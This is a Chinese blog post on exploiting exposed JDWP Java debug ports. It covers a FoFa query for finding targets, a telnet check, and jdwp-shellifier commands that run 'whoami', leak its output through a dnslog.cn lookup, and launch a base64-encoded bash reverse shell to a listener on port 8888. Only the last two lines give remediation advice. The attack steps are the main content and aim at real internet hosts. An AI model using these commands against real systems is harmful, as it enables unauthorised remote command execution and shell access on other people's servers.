JDWP 漏洞验证

地球胖头鱼 2021-04-07
系统与内网安全 发布于 2021-04-07 11:19:15 阅读 91 评论 0

前言

今天验证一个JDWP漏洞,可能写的不是很全面如果有高手可以帮忙指正一下。JDWP是 Java Debug Wire Protocol 的缩写,它定义了调试器(debugger)和被调试的 Java 虚拟机(target vm)之间的通信协议。

JDWP就是JAVA的一个调试协议。本质上我们通过IDEA或者eclipse通过断点的方式调试JAVA应用时,使用的就是JDWP。因为是调试协议,不可能带有认证信息,那么对于一个开启了调试端口的JAVA应用,我们就可能利用JDWP进行调试,最终执行命令。在什么时候会使用到JDWP这种协议呢?比如你在线上跑了一个应用,但是这个问题只有在线上才会出现问题,那么这个时候就必须开启远程调试功能了,此时就有可能被攻击者利用RCE。

指纹

我们先可以使用FoFa搜索引擎查看一下JDWP的漏洞指纹,搜索语法放在下面了。

banner=”jdwp” && port="8000"

漏洞证明

一般情况只要存在改漏洞都会返回下图信息,但是有些特殊情况不会返回但是也是可以进行利用的。

telnet xxx.xxx.xxx.xxx 8000

漏洞利用

python jdwp-shellifier.py -t xxx.xxx.xxx.xxx -p 8000 --break-on "java.lang.String.indexOf" --cmd "whoami"

漏洞利用脚本:

https://github.com/IOActive/jdwp-shellifier

下方截图可以看到,命令执行成功,但是没因为没有回显,所以这里没有看到效果。

通过DNSLOG查看回显效果

python jdwp-shellifier.py -t xxx.xxx.xxx.xxx -p 8000 --break-on "java.lang.String.indexOf" --cmd "ping http://.`whoami`.yoww7w.dnslog.cn"

GETSHELL

远程执行

python jdwp-shellifier.py -t xxx.xxx.xxx.xxx -p 8000 --break-on "java.lang.String.indexOf" --cmd "bash -c {echo,YmFzaCAtaSA+JiAvfrV2L3RjcC8xOTIgrth4LjE4NS42Lzg4ODggMD4mMQ==}|{base64,-d}|{bash,-i}"

对payload进行base64编码网站:

http://www.jackson-t.ca/runtime-exec-payloads.html

本地NC监听执行

nc -lvp 8888

修复建议

  1. 关闭JDWP端口,或者JDWP端口不对公网开放
  2. 关闭Java的debug模式(开启该模式对服务器性能有影响)
本作品采用《CC 协议》,转载必须注明作者和本文链接
讨论数量: 0
(= ̄ω ̄=)··· 暂无内容!
请勿发布不友善或者负能量的内容。与人为善,比聪明更重要!